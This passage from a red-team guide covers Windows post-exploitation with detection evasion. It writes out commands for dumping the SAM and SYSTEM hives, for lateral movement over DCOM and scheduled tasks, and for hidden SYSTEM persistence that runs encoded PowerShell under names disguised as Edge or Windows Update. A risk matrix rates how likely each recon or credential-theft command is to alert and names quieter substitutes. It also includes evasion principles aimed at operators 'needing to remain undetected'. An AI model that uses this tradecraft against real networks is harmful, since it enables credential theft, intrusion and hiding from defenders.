# Option B: DCSync (requires replication rights, HIGH RISK)
# Use Mimikatz/Impacket, but from expected admin workstation during maintenance window
# Ensure source IP matches normal admin patterns
# Option C: Extract from offline sources (QUIETER)
# SAM/SYSTEM hive if you have SYSTEM access
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
# Exfil and parse offline with Impacket secretsdump
2. Lateral Movement:
# RISKY: PsExec, but sometimes required
# Use legitimate remote management instead:
# Option A: WinRM (if enabled)
Enter-PSSession -ComputerName TARGET -Credential $cred
# Option B: DCOM (less logged)
$com = [Activator]::CreateInstanceGetTypeFromProgID("MMC20.Application","TARGET")
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c <command>","Minimized")
# Option C: Scheduled task (delayed execution, less immediate correlation)
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c <command>"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(30)
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -ComputerName TARGET
# WAIT 30+ minutes for task to execute
3. Persistence Installation:
# If you MUST persist, do it during business hours with legitimate-looking names
# Scheduled task persistence (least noisy if done right)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-w hidden -enc <base64_payload>"
$trigger = New-ScheduledTaskTrigger -Daily -At "09:00AM" # Business hours
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal -Settings $settings
# Use legitimate-sounding name (Edge, Adobe, Windows Update patterns)
📚 Quick Reference: Command Risk Matrix
Command Risk Levels
| Command |
Risk |
Logged Where |
Alert Likelihood |
Safe Alternative |
whoami |
🟢 LOW |
Event 4688, Sysmon 1 |
Low (common) |
.NET: [Security.Principal.WindowsIdentity]::GetCurrent().Name |
whoami /all |
🟡 MEDIUM |
Event 4688, Sysmon 1 |
Medium (recon indicator) |
.NET: [Security.Principal.WindowsIdentity]::GetCurrent() |
hostname |
🟢 LOW |
Event 4688 |
Very Low |
$env:COMPUTERNAME |
ipconfig |
🟢 LOW |
Event 4688 |
Very Low |
Get-NetIPConfiguration |
ipconfig /all |
🟢 LOW |
Event 4688 |
Low |
Get-NetIPConfiguration -Detailed |
systeminfo |
🟡 MEDIUM |
Event 4688 |
Medium (recon) |
Get-CimInstance Win32_OperatingSystem |
tasklist |
🟢 LOW |
Event 4688 |
Low |
Get-Process |
net user |
🟡 MEDIUM |
Event 4688 |
Medium |
Get-LocalUser |
net user /domain |
🟠 HIGH |
Event 4688, domain query logs |
High (domain recon) |
Get-ADUser -Filter * (throttled) |
net group "domain admins" /domain |
🔴 CRITICAL |
Event 4688, domain query logs |
Very High (targeting admins) |
LDAP query (still risky, throttle) |
net view |
🟠 HIGH |
Event 4688 |
High (share enum) |
Get-SmbShare |
nltest /dclist |
🟠 HIGH |
Event 4688 |
High (DC discovery) |
.NET: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers |
ping <subnet> (sweep) |
🔴 CRITICAL |
Network logs, Event 4688 |
Very High (network scan) |
Parse ARP cache, slow ping (1 per 5 min) |
nmap |
🔴 CRITICAL |
Network IDS/IPS |
Very High (port scan) |
Slow scan -T1, or avoid |
mimikatz.exe |
🔴 CRITICAL |
Event 4688, Sysmon 1, behavioral |
Instant alert |
Alternative tools, offline dumps |
procdump -ma lsass |
🔴 CRITICAL |
Event 4688, Sysmon 10 (LSASS access) |
Instant alert |
comsvcs.dll method (still risky) |
reg save HKLM\SAM |
🟠 HIGH |
Event 4688, Event 4663 (object access) |
High |
Requires SYSTEM, logged |
vssadmin delete shadows |
🔴 CRITICAL |
Event 4688 |
Instant alert (ransomware) |
NEVER delete VSS |
wevtutil cl Security |
🔴 CRITICAL |
Event 1102 |
Instant alert |
NEVER clear logs |
powershell -enc <base64> |
🟠 HIGH |
Event 4688, 4104 (decoded) |
High (obfuscation) |
Direct .NET assembly execution |
Legend:
- 🟢 LOW: Common commands, low suspicion
- 🟡 MEDIUM: Recon indicators, moderate risk
- 🟠 HIGH: Strong recon/attack indicators, high risk
- 🔴 CRITICAL: Almost always alerts, extreme risk
🎓 Final Command OPSEC Principles
The "5 D's" of Command Execution
- DELAY: Space commands with 2-10 minute gaps minimum
- DISGUISE: Use native tools (WMI, .NET) over standalone executables
- DIRECT: Minimize process creation; use in-memory .NET calls when possible
- DELIBERATE: Every command should have clear purpose; no exploratory "let's see what this does"
- DOCUMENTED: Know what each command will log before execution
Command Execution Priorities
Priority Order (High to Low):
- Infer without command: Can you figure it out from existing data?
- Read-only, no process spawn: .NET calls, environment variables, in-memory queries
- Legitimate cmdlets/tools: PowerShell cmdlets, WMI, native Windows tools
- Obfuscated execution: If you must use suspicious commands, obfuscate
- Last resort: High-risk commands (credential dumping, lateral movement tools)
Red Flags to Avoid
Command patterns that INSTANTLY alert:
- Multiple
net commands in sequence (net user /domain, net group /domain, net view)
- Base64 encoded PowerShell (
-encodedCommand)
- Any interaction with
lsass.exe
- Clearing event logs (
wevtutil cl, Clear-EventLog)
- VSS manipulation (
vssadmin delete shadows)
- Rapid network scanning (ping/port sweeps)
- Known tool names (
mimikatz, psexec, procdump on LSASS)
📖 Additional Resources
Command-Line OPSEC Research
Detection Understanding
Last Updated: 2026-02-04
Focus: Post-exploitation command execution with OPSEC
Audience: Red team operators with initial access needing to remain undetected
END OF GUIDE